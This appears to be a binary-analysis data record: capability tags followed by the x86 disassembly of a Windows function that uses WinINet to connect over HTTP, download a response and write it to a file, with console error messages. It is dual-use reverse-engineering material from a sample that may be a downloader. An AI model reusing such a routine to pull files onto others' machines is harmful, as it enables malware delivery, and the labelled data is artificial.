Function at 0x402e30
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4094bf
mov eax, dword fs:[0]
push eax
sub esp, 0x2f8
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
lea eax, [ebp - 0x254]
push eax
lea edx, [ebp - 0x270]
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 3
call fcn.00402bb0
add esp, 4
lea ecx, [ebp - 0x298]
push ecx
lea edx, [ebp - 0x21c]
push edx
push ebx
mov dword [ebp - 0x298], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
push 0x40a588
lea eax, [ebp - 0x1c]
push 5
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x294], eax
cmp eax, ebx
jne 0x403072
xor edx, edx
push 0xfffffffffffffff5
mov dword [ebp - 0x28c], edx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0x288]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x286]
movsx edx, word [ebp - 0x288]
mov ebx, dword [ebp - 0x28c]
imul edi, edx
lea eax, [ebp - 0x290]
push eax
push ebx
push edi
push 0x20
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov edx, dword [ebp - 0x280]
lea ecx, [ebp - 0x290]
push ecx
push ebx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Internet_Eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
mov esi, 0x10
add esp, 4
cmp dword [ebp - 0x25c], esi
jb 0x402fea
mov eax, dword [ebp - 0x270]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
cmp dword [ebp - 0x224], esi
jb 0x40301b
mov ecx, dword [ebp - 0x238]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
cmp dword [ebp - 0x240], esi
jb 0x403045
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], edi
cmp dword [ebp + 0x1c], esi
jb 0x40355b
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
jmp 0x40355b
mov ecx, dword [ebp - 0x254]
mov esi, 0x10
cmp dword [ebp - 0x240], esi
jae 0x40308b
lea ecx, [ebp - 0x254]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x290], eax
cmp eax, ebx
jne 0x40319f
call fcn.00402410
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.Konek_Eror
push eax
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x25c], esi
jb 0x40311b
mov ecx, dword [ebp - 0x270]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], 0
cmp dword [ebp - 0x224], esi
jb 0x403146
mov edx, dword [ebp - 0x238]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], 0
cmp dword [ebp - 0x240], esi
jb 0x403171
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], 0
cmp dword [ebp + 0x1c], esi
jb 0x40355b
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
jmp 0x40355b
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x4031b3
lea ecx, [ebp - 0x238]
push ebx
push 0x8404f700
push ebx
push ebx
push str.HTTP_1.1
push ecx
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
jne 0x4032af
call fcn.00402410
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Request_Eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x25c], esi
jb 0x403248
mov eax, dword [ebp - 0x270]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], 0
cmp dword [ebp - 0x224], esi
jb 0x403278
mov ecx, dword [ebp - 0x238]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], 0
cmp dword [ebp - 0x240], esi
jb 0x4032a3
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [ebp - 0x254], 0
jmp 0x40304b
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x1c], esi
jae 0x4032c5
lea eax, [ebp + 8]
push 0x40a56c
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x40331b
call fcn.00402410
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.open_File_Eror
push eax
jmp 0x403514
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x28c]
push ecx
push 0x32
lea edx, [ebp - 0x304]
push edx
push edi
call ebx
test eax, eax
je 0x403379
jmp 0x403340
mov eax, dword [ebp - 0x28c]
push esi
test eax, eax
je 0x4033df
push eax
lea eax, [ebp - 0x304]
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea ecx, [ebp - 0x28c]
push ecx
push 0x32
lea edx, [ebp - 0x304]
push edx
push edi
call ebx
test eax, eax
jne 0x403340
call fcn.00402410
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.read_eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
jmp 0x40352f
call dword [sym.imp.MSVCR100.dll_fflush]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
mov eax, dword [ebp - 0x290]
push eax
call esi
mov ecx, dword [ebp - 0x294]
push ecx
call esi
lea edx, [ebp + 8]
push edx
call fcn.00402960
add esp, 4
cmp al, 1
jne 0x4034c8
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x294], esp
call fcn.00404b50
call fcn.00402ae0
add esp, 0x1c
cmp eax, 0x1388
jle 0x403484
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xb
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea esi, [ebp - 0x270]
call fcn.00404bc0
lea esi, [ebp - 0x238]
call fcn.00404bc0
lea esi, [ebp - 0x254]
call fcn.00404bc0
lea esi, [ebp + 8]
call fcn.00404bc0
mov al, 1
jmp 0x40355d
call fcn.00402410
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, str.kp__xlpR
sub ecx, 0x14315210
lea eax, [ebp - 0x27c]
call fcn.00407380
mov byte [ebp - 4], 4
jmp 0x403504
call fcn.00402410
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 0x4d9a8178
lea esi, [ebp - 0x284]
call fcn.00407400
mov byte [ebp - 4], 5
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push eax
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
lea esi, [ebp - 0x270]
call fcn.00404bc0
lea esi, [ebp - 0x238]
call fcn.00404bc0
lea esi, [ebp - 0x254]
call fcn.00404bc0
lea esi, [ebp + 8]
call fcn.00404bc0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408350
mov esp, ebp
pop ebp
ret